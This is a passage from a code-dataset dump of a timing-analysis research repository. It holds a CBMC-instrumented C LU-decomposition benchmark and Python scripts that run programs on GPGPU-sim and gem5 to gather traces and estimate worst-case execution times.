b[ARRAY_DIMENSION], x[ARRAY_DIMENSION];\n\nstatic double \nfabs (double n)\n{\n#ifdef CBMC\n//==========> fabs : header 37\nint __count_40 = 0;\nint __count_37_38 = 0;\nint __count_37_39 = 0;\n#endif\n\n if (n >= 0)\n {\n #ifdef CBMC\n __count_37_38++;\n __count_40++;\n #endif\n\n#ifdef CBMC\nassert(__count_40 >= 1); // Lower capacity constraint\nassert(__count_40 <= 1); // Upper capacity constraint\nassert(__count_37_38 <= 1); // Upper capacity constraint\nassert(__count_37_39 <= 1); // Upper capacity constraint\nassert(__count_37_38 > 0 ==> __count_40 > 0); // Execution dependence\nassert(__count_37_39 > 0 ==> __count_40 > 0); // Execution dependence\n#endif\n\n return n;\n }\n else\n {\n #ifdef CBMC\n __count_37_39++;\n __count_40++;\n #endif\n\n#ifdef CBMC\nassert(__count_40 >= 1); // Lower capacity constraint\nassert(__count_40 <= 1); // Upper capacity constraint\nassert(__count_37_38 <= 1); // Upper capacity constraint\nassert(__count_37_39 <= 1); // Upper capacity constraint\nassert(__count_37_38 > 0 ==> __count_40 > 0); // Execution dependence\nassert(__count_37_39 > 0 ==> __count_40 > 0); // Execution dependence\n#endif\n\n return -n; // 39\n }\n}\n\nint\nLUdecomposition (int n, double eps)\n{\n#ifdef CBMC\n//==========> ludecomposition : header 18\nint __count_18_17 = 0;\nint __count_18_17_L = 0; //Loop counter\n//==========> ludecomposition : header 12\nint __count_12_11 = 0;\nint __count_12_11_L = 0; //Loop counter\n//==========> ludecomposition : header 32\nint __count_32_31 = 0;\nint __count_32_31_L = 0; //Loop counter\n//==========> ludecomposition : header 26\nint __count_26_25 = 0;\nint __count_26_25_L = 0; //Loop counter\n//==========> ludecomposition : header 20\nint __count_18_19 = 0;\nint __count_20_16 = 0; //Loop counter\n//==========> ludecomposition : header 14\nint __count_9_13 = 0;\nint __count_12_13 = 0;\nint __count_14_9 = 0; //Loop counter\n//==========> ludecomposition : header 34\nint __count_32_33 = 0;\nint __count_34_30 = 0; //Loop counter\n//==========> ludecomposition : header 28\nint __count_26_27 = 0;\nint __count_28_24 = 0; //Loop counter\n//==========> ludecomposition : header 22\nint __count_14_15 = 0;\nint __count_22_5 = 0; //Loop counter\n//==========> ludecomposition : header 1\nint __count_36 = 0;\nint __count_1_3 = 0;\nint __count_2_3 = 0;\nint __count_6_7 = 0;\nint __count_34_35 = 0;\n#endif\n\n int i, j, k;\n double w, y[100];\n\n if (n > 99 || eps <= 0.0) // 1,2\n {\n #ifdef CBMC\n if (n>99) __count_1_3++;\n else if (eps <= 0.0) __count_2_3++;\n\n __count_36++;\n #endif\n\n#ifdef CBMC\nassert(__count_36 >= 1); // Lower capacity constraint\nassert(__count_36 <= 1); // Upper capacity constraint\nassert(__count_1_3 == 0); // Dead code\nassert(__count_2_3 == 0); // Dead code\nassert(__count_26_27 >= 5); // Lower capacity constraint\nassert(__count_26_27 <= 5); // Upper capacity constraint\nassert(__count_26_25 >= 15); // Lower capacity constraint\nassert(__count_26_25 <= 15); // Upper capacity constraint\nassert(__count_6_7 == 0); // Dead code\nassert(__count_32_33 >= 5); // Lower capacity constraint\nassert(__count_32_33 <= 5); // Upper capacity constraint\nassert(__count_32_31 >= 15); // Lower capacity constraint\nassert(__count_32_31 <= 15); // Upper capacity constraint\nassert(__count_9_13 >= 5); // Lower capacity constraint\nassert(__count_9_13 <= 5); // Upper capacity constraint\nassert(__count_34_35 >= 1); // Lower capacity constraint\nassert(__count_34_35 <= 1); // Upper capacity constraint\nassert(__count_12_11 >= 20); // Lower capacity constraint\nassert(__count_12_11 <= 20); // Upper capacity constraint\nassert(__count_12_13 >= 10); // Lower capacity constraint\nassert(__count_12_13 <= 10); // Upper capacity constraint\nassert(__count_14_15 >= 5); // Lower capacity constraint\nassert(__count_14_15 <= 5); // Upper capacity constraint\nassert(__count_18_17 >= 35); // Lower capacity constraint\nassert(__count_18_17 <= 35); // Upper capacity constraint\nassert(__count_18_19 >= 15); // Lower capacity constraint\nassert(__count_18_19 <= 15); // Upper capacity constraint\n#endif\n return 999;\n }\n\n #ifdef CBMC\n __count_22_5 = 0;\n #endif\n for (i = 0; i < n; i++) // 22\n {\n #ifdef CBMC\n __count_22_5++;\n #endif\n if (fabs(a[i][i]) <= eps) // 6\n {\n #ifdef CBMC\n __count_6_7++;\n #endif\n // 7\n #ifdef CBMC\n __count_36++;\n #endif\n#ifdef CBMC\nassert(__count_36 >= 1); // Lower capacity constraint\nassert(__count_36 <= 1); // Upper capacity constraint\nassert(__count_1_3 == 0); // Dead code\nassert(__count_2_3 == 0); // Dead code\nassert(__count_26_27 >= 5); // Lower capacity constraint\nassert(__count_26_27 <= 5); // Upper capacity constraint\nassert(__count_26_25 >= 15); // Lower capacity constraint\nassert(__count_26_25 <= 15); // Upper capacity constraint\nassert(__count_6_7 == 0); // Dead code\nassert(__count_32_33 >= 5); // Lower capacity constraint\nassert(__count_32_33 <= 5); // Upper capacity constraint\nassert(__count_32_31 >= 15); // Lower capacity constraint\nassert(__count_32_31 <= 15); // Upper capacity constraint\nassert(__count_9_13 >= 5); // Lower capacity constraint\nassert(__count_9_13 <= 5); // Upper capacity constraint\nassert(__count_34_35 >= 1); // Lower capacity constraint\nassert(__count_34_35 <= 1); // Upper capacity constraint\nassert(__count_12_11 >= 20); // Lower capacity constraint\nassert(__count_12_11 <= 20); // Upper capacity constraint\nassert(__count_12_13 >= 10); // Lower capacity constraint\nassert(__count_12_13 <= 10); // Upper capacity constraint\nassert(__count_14_15 >= 5); // Lower capacity constraint\nassert(__count_14_15 <= 5); // Upper capacity constraint\nassert(__count_18_17 >= 35); // Lower capacity constraint\nassert(__count_18_17 <= 35); // Upper capacity constraint\nassert(__count_18_19 >= 15); // Lower capacity constraint\nassert(__count_18_19 <= 15); // Upper capacity constraint\n#endif\n return 1;\n }\n \n #ifdef CBMC\n __count_14_9 = 0;\n #endif\n for (j = i + 1; j <= n; j++) // 14\n {\n #ifdef CBMC\n __count_14_9++;\n #endif\n w = a[j][i];\n if (i != 0) // 9\n { \n #ifdef CBMC\n __count_12_11_L = 0;\n #endif\n for (k = 0; k < i; k++) // 12\n {\n #ifdef CBMC\n __count_12_11_L++;\n __count_12_11++;\n #endif\n w -= a[j][k] * a[k][i];\n }\n #ifdef CBMC\n assert(__count_12_11_L <= 5); // Loop counter property\n __count_12_13++;\n #endif\n }\n #ifdef CBMC\n else __count_9_13++;\n #endif\n a[j][i] = w / a[i][i];\n }\n #ifdef CBMC\n assert(__count_14_9 <= 6); // Loop counter property\n __count_14_15++;\n #endif\n\n #ifdef CBMC\n __count_20_16 = 0;\n #endif\n for (j = i + 1; j <= n; j++) // 20\n {\n #ifdef CBMC\n __count_20_16++;\n #endif\n w = a[i + 1][j];\n #ifdef CBMC\n __count_18_17_L = 0;\n #endif\n for (k = 0; k <= i; k++) // 18\n {\n #ifdef CBMC\n __count_18_17_L++;\n __count_18_17++;\n #endif\n w -= a[i + 1][k] * a[k][j];\n }\n #ifdef CBMC\n assert(__count_18_17_L <= 6); // Loop counter property\n __count_18_19++;\n #endif\n a[i + 1][j] = w;\n }\n #ifdef CBMC\n assert(__count_20_16 <= 6); // Loop counter property\n #endif\n }\n #ifdef CBMC\n assert(__count_22_5 <= 6); // Loop counter property\n #endif\n\n y[0] = b[0];\n \n #ifdef CBMC\n __count_28_24 = 0;\n #endif\n for (i = 1; i <= n; i++) // 28\n {\n #ifdef CBMC\n __count_28_24++;\n #endif\n w = b[i];\n #ifdef CBMC\n __count_26_25_L = 0;\n #endif\n for (j = 0; j < i; j++) // 26\n {\n #ifdef CBMC\n __count_26_25_L++;\n __count_26_25++;\n #endif\n w -= a[i][j] * y[j];\n }\n #ifdef CBMC\n assert(__count_26_25_L <= 6); // Loop counter property\n __count_26_27++;\n #endif\n y[i] = w;\n }\n #ifdef CBMC\n assert(__count_28_24 <= 6); // Loop counter property\n #endif\n \n x[n] = y[n] / a[n][n];\n #ifdef CBMC\n __count_34_30 = 0;\n #endif\n for (i = n - 1; i >= 0; i--) // 34\n {\n #ifdef CBMC\n __count_34_30++;\n #endif\n w = y[i];\n #ifdef CBMC\n __count_32_31_L = 0;\n #endif\n for (j = i + 1; j <= n; j++) // 32\n {\n #ifdef CBMC\n __count_32_31_L++;\n __count_32_31++;\n #endif\n w -= a[i][j] * x[j];\n }\n #ifdef CBMC\n assert(__count_32_31_L <= 6); // Loop counter property\n __count_32_33++;\n #endif\n x[i] = w / a[i][i];\n }\n #ifdef CBMC\n assert(__count_34_30 <= 6); // Loop counter property\n __count_34_35++;\n #endif\n \n #ifdef CBMC\n __count_36++;\n #endif\n\n\n#ifdef CBMC\nassert(__count_36 >= 1); // Lower capacity constraint\nassert(__count_36 <= 1); // Upper capacity constraint\nassert(__count_1_3 == 0); // Dead code\nassert(__count_2_3 == 0); // Dead code\nassert(__count_26_27 >= 5); // Lower capacity constraint\nassert(__count_26_27 <= 5); // Upper capacity constraint\nassert(__count_26_25 >= 15); // Lower capacity constraint\nassert(__count_26_25 <= 15); // Upper capacity constraint\nassert(__count_6_7 == 0); // Dead code\nassert(__count_32_33 >= 5); // Lower capacity constraint\nassert(__count_32_33 <= 5); // Upper capacity constraint\nassert(__count_32_31 >= 15); // Lower capacity constraint\nassert(__count_32_31 <= 15); // Upper capacity constraint\nassert(__count_9_13 >= 5); // Lower capacity constraint\nassert(__count_9_13 <= 5); // Upper capacity constraint\nassert(__count_34_35 >= 1); // Lower capacity constraint\nassert(__count_34_35 <= 1); // Upper capacity constraint\nassert(__count_12_11 >= 20); // Lower capacity constraint\nassert(__count_12_11 <= 20); // Upper capacity constraint\nassert(__count_12_13 >= 10); // Lower capacity constraint\nassert(__count_12_13 <= 10); // Upper capacity constraint\nassert(__count_14_15 >= 5); // Lower capacity constraint\nassert(__count_14_15 <= 5); // Upper capacity constraint\nassert(__count_18_17 >= 35); // Lower capacity constraint\nassert(__count_18_17 <= 35); // Upper capacity constraint\nassert(__count_18_19 >= 15); // Lower capacity constraint\nassert(__count_18_19 <= 15); // Upper capacity constraint\n#endif\n\n return 0;\n}\n\nint \nmain (int argc, char* argv[])\n{\n int i, j, k, chkerr;\n double w;\n double eps = 1.0e-6;\n\n /*\n * There is 1 matrix of size ARRAY_DIMENSION * ARRAY_DIMENSION that need to be filled up.\n */\n if (argc != ARRAY_DIMENSION * ARRAY_DIMENSION +1)\n {\n return 1;\n }\n \n k = 0;\n for (i = 0; i <= ARRAY_DIMENSION - 1; i++) \n {\n w = 0.0;\n for (j = 0; j <= ARRAY_DIMENSION - 1; j++) \n {\n a[i][j] = atoi (argv[k + 1]);\n\n k++;\n if (i == j)\n a[i][j] *= 10.0;\n w += a[i][j];\n }\n b[i] = w;\n }\n\n chkerr = LUdecomposition (ARRAY_DIMENSION - 1, eps);\n \n printf(\"%d\", chkerr);\n\n return 0;\n}\n\n" }, { "alpha_fraction": 0.5600992441177368, "alphanum_fraction": 0.5649853348731995, "avg_line_length": 39.43465042114258, "blob_id": "3cc243ad77cbf04e055ad50ad9dcf3e6dbb7ffce", "content_id": "d87d33f5d4f297ef949207754b357cebd7bb20fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 13303, "license_type": "no_license", "max_line_length": 146, "num_lines": 329, "path": "/GPUTimingAnalysis/src/Main.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "#!/usr/bin/python2.6\n\nimport sys, optparse, os, time\nimport Debug\n\n# The command-line parser and its options\ncmdline = optparse.OptionParser(add_help_option=False)\n\ncmdline.add_option(\"-d\",\n \"--debug\",\n action=\"store\",\n dest=\"debug\",\n type=\"int\",\n help=\"Debug mode.\",\n default=False)\n\ncmdline.add_option(\"-C\",\n \"--deep-clean\",\n action=\"store_true\",\n dest=\"deepclean\",\n help=\"Clean previous runs of GPGPU-sim and uDrawgraph files.\",\n default=False)\n\ncmdline.add_option(\"-h\",\n \"--help\",\n action=\"help\",\n help=\"Display this help message.\")\n\ncmdline.add_option(\"-v\",\n \"--verbose\",\n action=\"store_true\",\n dest=\"verbose\",\n help=\"Be verbose.\",\n default=False)\n\ncmdline.add_option(\"-u\",\n \"--udraw\",\n action=\"store_true\",\n dest=\"udraw\",\n help=\"Generate uDrawGraph files.\",\n default=False)\n\ncmdline.add_option(\"-T\",\n \"--number-of-tests\",\n action=\"store\",\n type=\"int\",\n dest=\"tests\",\n help=\"The number of times to run the kernel. [Default is %default].\",\n default=0,\n metavar=\"<INT>\")\n\ncmdline.add_option(\"--no-parsing\",\n action=\"store_true\",\n dest=\"noParse\",\n help=\"Do not parse traces.\",\n default=False)\n\nopts, args = cmdline.parse_args(sys.argv[1:])\nDebug.verbose = opts.verbose\nDebug.debug = opts.debug\ngpgpuFileExt = '.gpgpusim'\nrunPrefix = 'run'\n\ndef createGraphs (program, basepath):\n import UDrawGraph, ICFGs, Trees, IPGs\n Debug.debugMessage(\"Creating data structures\", 1)\n for cfg in program.getCFGs():\n functionName = cfg.getName()\n UDrawGraph.makeUdrawFile (cfg, basepath, \"%s.%s\" % (functionName, \"cfg\"))\n predomTree = Trees.Dominators(cfg, cfg.getEntryID())\n reverseg = cfg.getReverseCFG()\n postdomTree = Trees.Dominators(reverseg, reverseg.getEntryID())\n UDrawGraph.makeUdrawFile (predomTree, basepath, \"%s.%s\" % (functionName, \"pre\"))\n UDrawGraph.makeUdrawFile (postdomTree, basepath, \"%s.%s\" % (functionName, \"post\"))\n icfg = ICFGs.ICFG(cfg)\n icfg.setEntryID()\n icfg.setExitID()\n icfg.addExitEntryEdge()\n program.addICFG(icfg)\n UDrawGraph.makeUdrawFile (icfg, basepath, \"%s.%s\" % (functionName, \"icfg\"))\n lnt = Trees.LoopNests(icfg, icfg.getEntryID())\n program.addLNT(lnt)\n UDrawGraph.makeUdrawFile (lnt, basepath, \"%s.%s\" % (functionName, \"lnt\"))\n ipg = IPGs.IPG(icfg, lnt)\n program.addIPG(ipg)\n icfg.addBranchDivergenceEdges(lnt)\n ipg.updateWithBranchDivergentPaths()\n UDrawGraph.makeUdrawFile (icfg, basepath, \"%s.%s\" % (functionName, \"icfg\"))\n UDrawGraph.makeUdrawFile (ipg, basepath, \"%s.%s\" % (functionName, \"ipg\"))\n \ndef getLineOfTimingTrace (line):\n import shlex\n tokenizer = shlex.shlex(line, posix=True)\n tokenizer.whitespace += ','\n lexemes = list(tokenizer)\n PCIndex = 0 \n warpIndex = 1\n SMIndex = 2\n cycleIndex = 3\n SMAndWarp = int(lexemes[SMIndex]), int(lexemes[warpIndex])\n timingTuple = lexemes[PCIndex], int(lexemes[cycleIndex])\n return SMAndWarp, timingTuple\n\ndef getWarp (allWarpTraces, SMAndWarp):\n import Traces\n key = (SMAndWarp[0], SMAndWarp[1])\n if key in allWarpTraces:\n return allWarpTraces[key]\n w = Traces.WarpTrace(SMAndWarp[0], SMAndWarp[1])\n allWarpTraces[key] = w\n return w\n\ndef analyseHWMT (program, firstTuple, lastTuple):\n Debug.debugMessage(\"Analysing start tuple %s and last tuple %s\" % (firstTuple, lastTuple), 1)\n ipointID = int(firstTuple[0], 0)\n startTime = int(firstTuple[1])\n endTime = int(lastTuple[1])\n ipg = program.getIPGWithEntryIpointID(ipointID)\n functionName = ipg.getName()\n end2end = endTime - startTime\n Debug.debugMessage(\"End-to-end(%s) = %d\" % (functionName, end2end), 1)\n program.updateHWMT(functionName, end2end)\n\ndef splitTraces (program, generatedFiles):\n Debug.debugMessage(\"Splitting traces\", 1)\n allWarpTraces = {}\n for outfile in generatedFiles:\n traceFound = False\n newKernel = False\n firstTuple = None\n lastTuple = None\n Debug.debugMessage(\"Analysing file '%s'\" % outfile, 1)\n with open(outfile, 'r') as f:\n for line in f:\n if line.startswith(\"NEW KERNEL\"):\n traceFound = True\n if firstTuple:\n analyseHWMT(program, firstTuple, lastTuple)\n firstTuple = None\n continue\n if traceFound:\n SMAndWarp, timingTuple = getLineOfTimingTrace(line)\n print \n w = getWarp (allWarpTraces, SMAndWarp)\n w.appendToTrace(timingTuple)\n lastTuple = timingTuple\n if not firstTuple:\n firstTuple = timingTuple \n analyseHWMT(program, firstTuple, lastTuple)\n return allWarpTraces\n\ndef writeTraces (allWarpTraces, basename, basepath):\n traceFileName = basepath + os.sep + basename + \".warps.trace\"\n with open(traceFileName, 'w') as f:\n for w in allWarpTraces.values(): \n f.write(\"\\n%s\\n\" % ('=' * 20))\n f.write(\"SM = %d WARP = %d\\n\" % (w.getMultiprocessorID(), w.getWarpID()))\n f.write(\"%s\\n\" % ('=' * 20))\n for t in w.getTrace():\n ipointID = int(t[0], 0)\n time = long(t[1])\n f.write(\"0x%04X %d\\n\" % (ipointID, time))\n \ndef createCFGs (outfile):\n import ParseCFGs\n cfgLines = []\n cfgInput = False\n with open(outfile, 'r') as f:\n for line in f:\n if line.startswith('0x'):\n break\n if \"*** CFG ***\" in line:\n if not cfgInput:\n cfgInput = True\n else:\n cfgInput = False\n if cfgInput:\n cfgLines.append(line)\n program = ParseCFGs.createProgram(cfgLines)\n return program \n\ndef doAnalysis (generatedFiles, basename, basepath): \n import Traces, WCET\n # Create the CFGs\n program = createCFGs(generatedFiles[0])\n # Create the IPG\n createGraphs(program, basepath)\n if not opts.noParse:\n # Split into warp-specific traces\n allWarpTraces = splitTraces (program, generatedFiles)\n if Debug.debug >= 5:\n writeTraces(allWarpTraces, basename, basepath)\n traceData = Traces.TraceData(allWarpTraces, program)\n traceData.output()\n \n print \"%s End-to-end timing data %s\" % (\"=\" * 11, \"=\" * 11)\n for ipg in program.getIPGs():\n functionName = ipg.getName()\n print \"ACET(%s) = %ld\" % (functionName, traceData.getACET(functionName))\n print \"HWMT(%s) = %ld\" % (functionName, program.getHWMT(functionName))\n # Create an ILP from the IPG and the parsed data\n ilp = WCET.LinearProgram(ipg, traceData, functionName, basepath)\n print \"WCET(%s) = %ld\" % (ipg.getName(), ilp.getWCET())\n \ndef runCUDAKernel (basepath):\n from subprocess import Popen, PIPE\n import signal\n import re\n \n cmd = args[0]\n Debug.debugMessage(\"CUDA application command '%s'\" % cmd, 1)\n \n run = 0\n for filename in os.listdir(basepath):\n match = re.search(r'%s[0-9]+%s' % (runPrefix, gpgpuFileExt), filename)\n if match:\n index = filename.find(gpgpuFileExt)\n num = int(filename[len(runPrefix):index])\n if num > run:\n run = num\n run += 1\n \n # Run the program on GPGPU-sim and get generated output\n outfiles = []\n generatedFiles = []\n for i in xrange(run, opts.tests + run):\n outfilename = basepath + os.sep + runPrefix + str(i) + gpgpuFileExt\n generatedFiles.append(outfilename)\n outfiles.append(outfilename)\n assert generatedFiles, \"No output files were generated\"\n processes = []\n pidToOutFilename = {}\n pidToOutFile = {}\n while True:\n while outfiles and len(processes) < multiprocessing.cpu_count()/2:\n outfilename = outfiles.pop()\n outfile = open(outfilename, 'w')\n Debug.debugMessage(\"Spawning new process for '%s'\" % outfilename, 1)\n proc = Popen(cmd, shell=True, stdout=outfile)\n processes.append(proc)\n pidToOutFile[proc.pid] = outfile\n pidToOutFilename[proc.pid] = outfilename\n for p in processes:\n if p.poll() is not None:\n processes.remove(p)\n pidToOutFile[p.pid].close()\n if p.returncode != 0:\n Debug.debugMessage(\"Process failed for output file '%s' with return code %d\" % (pidToOutFilename[p.pid], p.returncode), 1)\n outfiles.append(pidToOutFilename[p.pid])\n if not processes and not outfiles:\n break\n else:\n time.sleep(1)\n p = Popen(['ps', '-A'], stdout=PIPE)\n out, err = p.communicate()\n for line in out.splitlines():\n if 'cuobjdump_to_pt' in line:\n pid = int(line.split(None, 1)[0])\n os.kill(pid, signal.SIGKILL)\n Debug.debugMessage(\"Killing stray CUDA-to-PTXPlus process\", 1)\n return generatedFiles\n\ndef checkCommandLineForAction (): \n # Check that the user has passed the correct options\n if opts.tests > 0:\n cudaBinary = args[0]\n if not os.path.exists(cudaBinary):\n Debug.exitMessage(\"The argument '%s' does not exist\" % cudaBinary)\n elif not os.path.isfile(cudaBinary):\n Debug.exitMessage(\"The argument '%s' is not a file\" % cudaBinary)\n elif not os.access(cudaBinary, os.X_OK):\n Debug.exitMessage(\"The argument '%s' does not have execute permission\" % cudaBinary)\n # Get the filename of the binary without the path\n basename = os.path.basename(cudaBinary)\n basepath = os.path.abspath(os.path.dirname(cudaBinary))\n generatedFiles = runCUDAKernel(basepath)\n doAnalysis(generatedFiles, basename, basepath)\n elif len(args) > 0:\n for arg in args:\n if not arg.endswith(gpgpuFileExt):\n Debug.exitMessage(\"Each file must end with a '%s' suffix. You passed '%s'.\" % (gpgpuFileExt, arg))\n basename = os.path.splitext(os.path.basename(args[0]))[0]\n basepath = os.path.abspath(os.path.dirname(args[0]))\n doAnalysis(args, basename, basepath)\n else:\n Debug.exitMessage(\"\"\"There are two ways to run this script:\n 1) Either pass a CUDA binary as an argument and the number of times you want to run the kernel with the -T option; or\n 2) Pass a number of files that were generated by GPGPU-sim from a previous testing run\"\"\")\n\ndef removeFile (fullPath):\n print \"Removing '%s'\" % fullPath\n os.remove(fullPath)\n \ndef postClean (abspath):\n # The following file is generated by GPGPU-sim on every execution.\n # It includes stats about each instruction execution\n gpgpuInstrStats = abspath + os.sep + 'gpgpu_inst_stats.txt'\n if os.path.exists(gpgpuInstrStats):\n os.remove(gpgpuInstrStats)\n for paths, dirs, files in os.walk(abspath):\n files.sort()\n for filename in files:\n if filename.startswith('_cuobjdump_') or filename.startswith('_ptxplus_'):\n removeFile(os.path.join(paths, filename))\n \ndef preClean (abspath):\n import re\n for paths, dirs, files in os.walk(os.path.abspath(os.curdir)):\n files.sort()\n for filename in files:\n match = re.search(r'%s[0-9]+%s' % (runPrefix, gpgpuFileExt), filename)\n if match:\n removeFile(os.path.join(paths, filename))\n elif filename.endswith('.udraw') or filename.endswith('.ilp'):\n removeFile(os.path.join(paths, filename))\n elif filename == 'benchmark.warps.trace':\n removeFile(os.path.join(paths, filename))\n \nif __name__ == \"__main__\":\n import multiprocessing\n Debug.verboseMessage(\"You have %d CPUs on your system\" % multiprocessing.cpu_count())\n if opts.deepclean:\n preClean(os.path.abspath(os.curdir))\n try:\n # What to do depends on which parameters were parameters on the command line\n checkCommandLineForAction ()\n finally:\n # Remove temporarily generated files\n postClean (os.path.abspath(os.curdir))\n" }, { "alpha_fraction": 0.6030157208442688, "alphanum_fraction": 0.6142627596855164, "avg_line_length": 45.7687873840332, "blob_id": "41d12e4e08b8cbd3353e879f96aca6b2d1223d6d", "content_id": "6419abe804eed121a39b84f0d35a7fc0f1d55310", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8091, "license_type": "no_license", "max_line_length": 148, "num_lines": 173, "path": "/DaikonPathInformation/src/testing.py", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "import config\nimport debug\nimport shlex\nimport locale\nimport gzip\nimport re\nimport os\nimport subprocess\nimport random\nimport string\nfrom pyevolve import G1DList, Mutators, Crossovers, GSimpleGA\n\nclass TestVectorProperties:\n BaseType = [\"int\", \"double\", \"char\"]\n \n def __init__ (self):\n self.read_file()\n \n def read_file(self):\n locale.setlocale(locale.LC_ALL, 'en_US.UTF8')\n with open(config.Arguments.test_specification_file, 'r') as f:\n for line in f:\n index = line.find('=')\n if index == -1:\n debug.exit_message(\"Found an invalid line '%s' in the test specification file\" % line)\n else:\n lhs = line[:index].strip()\n rhs = line[index+1:].strip()\n if lhs.lower() == \"type\":\n self.base_type = rhs\n elif lhs.lower() == \"length\":\n try:\n self.length = int(rhs)\n except:\n debug.exit_message(\"The length of the test vector must be a non-negative integer. It is '%s'.\" % rhs) \n elif lhs.lower() == \"lower\":\n try:\n self.lower = locale.atoi(rhs)\n except:\n debug.exit_message(\"The lower bound on the range of elements in the test vector must be an integer. It is '%s'.\" % rhs) \n elif lhs.lower() == \"upper\":\n try:\n self.upper = locale.atoi(rhs)\n except:\n debug.exit_message(\"The upper bound on the range of elements in the test vector must be an integer. It is '%s'.\" % rhs) \n else:\n debug.exit_message(\"Do not understand the line '%s' in the test specification file\" % line)\n \ndef get_next_trace_file_number(binary):\n # Carry on from previous executions (if they exist)\n nextrun = 0\n gem5TraceDirectory = os.path.abspath(os.getcwd()) + os.sep + config.Arguments.m5_trace_directory\n if os.path.exists(gem5TraceDirectory):\n for filename in os.listdir(gem5TraceDirectory):\n match = re.match(r'%s' % os.path.basename(binary), filename)\n if match:\n index1 = filename.rfind('.')\n index2 = filename[:index1].rfind('.')\n run = int(filename[index2+1:index1])\n nextrun = max(nextrun, run)\n return nextrun\n\ndef compress_trace(gem5_trace):\n compressedFile = gem5_trace + '.gz'\n f_in = open(gem5_trace, 'rb')\n f_out = gzip.open(compressedFile, 'wb')\n f_out.writelines(f_in)\n f_out.close()\n f_in.close()\n os.remove(gem5_trace)\n return compressedFile\n\ndef fitness_function(chromosome):\n try:\n if fitness_function.vectorProperties.base_type == TestVectorProperties.BaseType[2]:\n # Sometimes this conversion fails and I don't see why?\n # Just catch it and move on\n chromosome.genomeList = [chr(val) for val in chromosome.genomeList]\n except TypeError:\n pass\n \n fitness_function.run += 1\n traceFile = \"%s.%s.%d\" % (os.path.basename(fitness_function.binary), \"trace\", fitness_function.run)\n cmd = '%s --debug-flags=Fetch --trace-file=%s %s --cpu-type=timing -c %s -o \"%s\"' % \\\n (config.Arguments.gem5_simulator, traceFile, config.Arguments.gem5_config, fitness_function.binary, ' '.join(map(str, chromosome.genomeList)))\n debug.debug_message(\"Running '%s' on gem5\" % cmd, 1)\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) \n returncode = proc.wait()\n if returncode:\n debug.exit_message(\"Running '%s' failed\" % cmd)\n gem5_trace = os.path.abspath(os.getcwd()) + os.sep + config.Arguments.m5_trace_directory + os.sep + traceFile\n assert os.path.exists(gem5_trace), \"Expected to find gem5 trace in '%s' but it is not there\" % gem5_trace\n firstLines = os.popen(\"head -1 %s\" % gem5_trace).readlines()\n lastLines = os.popen(\"tail -1 %s\" % gem5_trace).readlines()\n assert len(firstLines) == 1\n assert len(lastLines) == 1\n firstLine = firstLines[0]\n lastLine = lastLines[0]\n time1 = shlex.split(firstLine)[0]\n time2 = shlex.split(lastLine)[0]\n time1 = time1[:-1]\n time2 = time2[:-1]\n score = int(time2) - int(time1)\n debug.debug_message(\"Score = %d\" % score, 1)\n fitness_function.gem5traces.append(compress_trace(gem5_trace))\n return score\n\ndef runGAGem5(binary, populationSize=20, generations=20):\n test_vector_properties = TestVectorProperties()\n # Set up the fitness function's attributes\n fitness_function.binary = binary\n fitness_function.gem5traces = []\n fitness_function.vectorProperties = test_vector_properties\n fitness_function.run = get_next_trace_file_number(binary)\n # Create the population\n genome = G1DList.G1DList(test_vector_properties.length)\n genome.setParams(rangemin=test_vector_properties.lower, \\\n rangemax=test_vector_properties.upper)\n genome.evaluator.set(fitness_function)\n genome.mutator.set(Mutators.G1DListMutatorIntegerRange)\n \n # Cannot crossover if there is only a single gene in the chromosone\n if test_vector_properties.length == 1:\n genome.crossover.clear()\n else:\n genome.crossover.set(Crossovers.G1DListCrossoverTwoPoint)\n \n # Set up the engine\n ga = GSimpleGA.GSimpleGA(genome)\n ga.setPopulationSize(populationSize)\n ga.setGenerations(generations)\n ga.setCrossoverRate(0.9)\n ga.setMutationRate(0.01)\n ga.setElitism(True)\n # Run the GA\n ga.evolve(freq_stats=1) \n return fitness_function.gem5traces\n\nclass RandomGeneration:\n def __init__ (self, test_vector_properties):\n self.test_vector_properties = test_vector_properties\n \n def next_test_vector(self):\n vector = []\n for i in xrange(1, self.test_vector_properties.length+1):\n if self.test_vector_properties.base_type == TestVectorProperties.BaseType[0]: \n vector.append(random.randint(self.test_vector_properties.lower, self.test_vector_properties.upper))\n elif self.test_vector_properties.base_type == TestVectorProperties.BaseType[1]:\n vector.append(random.uniform(self.test_vector_properties.lower, self.test_vector_properties.upper))\n elif self.test_vector_properties.base_type == TestVectorProperties.BaseType[2]:\n vector.append(random.choice(string.letters))\n assert len(vector) == self.test_vector_properties.length, \"Created an invalid test vector of length %d\" % len(vector)\n return ' '.join(str(val) for val in vector)\n \ndef run_gem5(binary):\n test_vector_properties = TestVectorProperties()\n run = get_next_trace_file_number(binary) + 1\n # Now run the program n times\n random_test_vectors = RandomGeneration(test_vector_properties)\n gem5traces = []\n for i in xrange(run, config.Arguments.tests + run):\n traceFile = \"%s.%s.%d.gz\" % (os.path.basename(binary), \"trace\", i)\n cmd = '%s --debug-flags=Fetch --trace-file=%s %s --cpu-type=timing -c %s -o \"%s\"' % \\\n (config.Arguments.gem5_simulator, traceFile, config.Arguments.gem5_config, binary, random_test_vectors.next_test_vector())\n debug.debug_message(\"Running '%s' on gem5\" % cmd, 1)\n proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) \n returncode = proc.wait()\n if returncode:\n debug.exit_message(\"Running '%s' failed\" % cmd)\n gem5_trace = os.path.abspath(os.getcwd()) + os.sep + config.Arguments.m5_trace_directory + os.sep + traceFile\n assert os.path.exists(gem5_trace), \"Expected to find gem5 trace in '%s' but it is not there\" % gem5_trace\n gem5traces.append(gem5_trace)\n return gem5traces\n" }, { "alpha_fraction": 0.5358851552009583, "alphanum_fraction": 0.5706539154052734, "avg_line_length": 20.47260284423828, "blob_id": "18dfce3d972dd7bc60172a41f363342f5e103eb8", "content_id": "27a922104ba90854fcd2b3b36a5d41c6ce8c9273", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3135, "license_type": "no_license", "max_line_length": 88, "num_lines": 146, "path": "/DaikonPathInformation/benchmarks/matrix_count.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Matrix 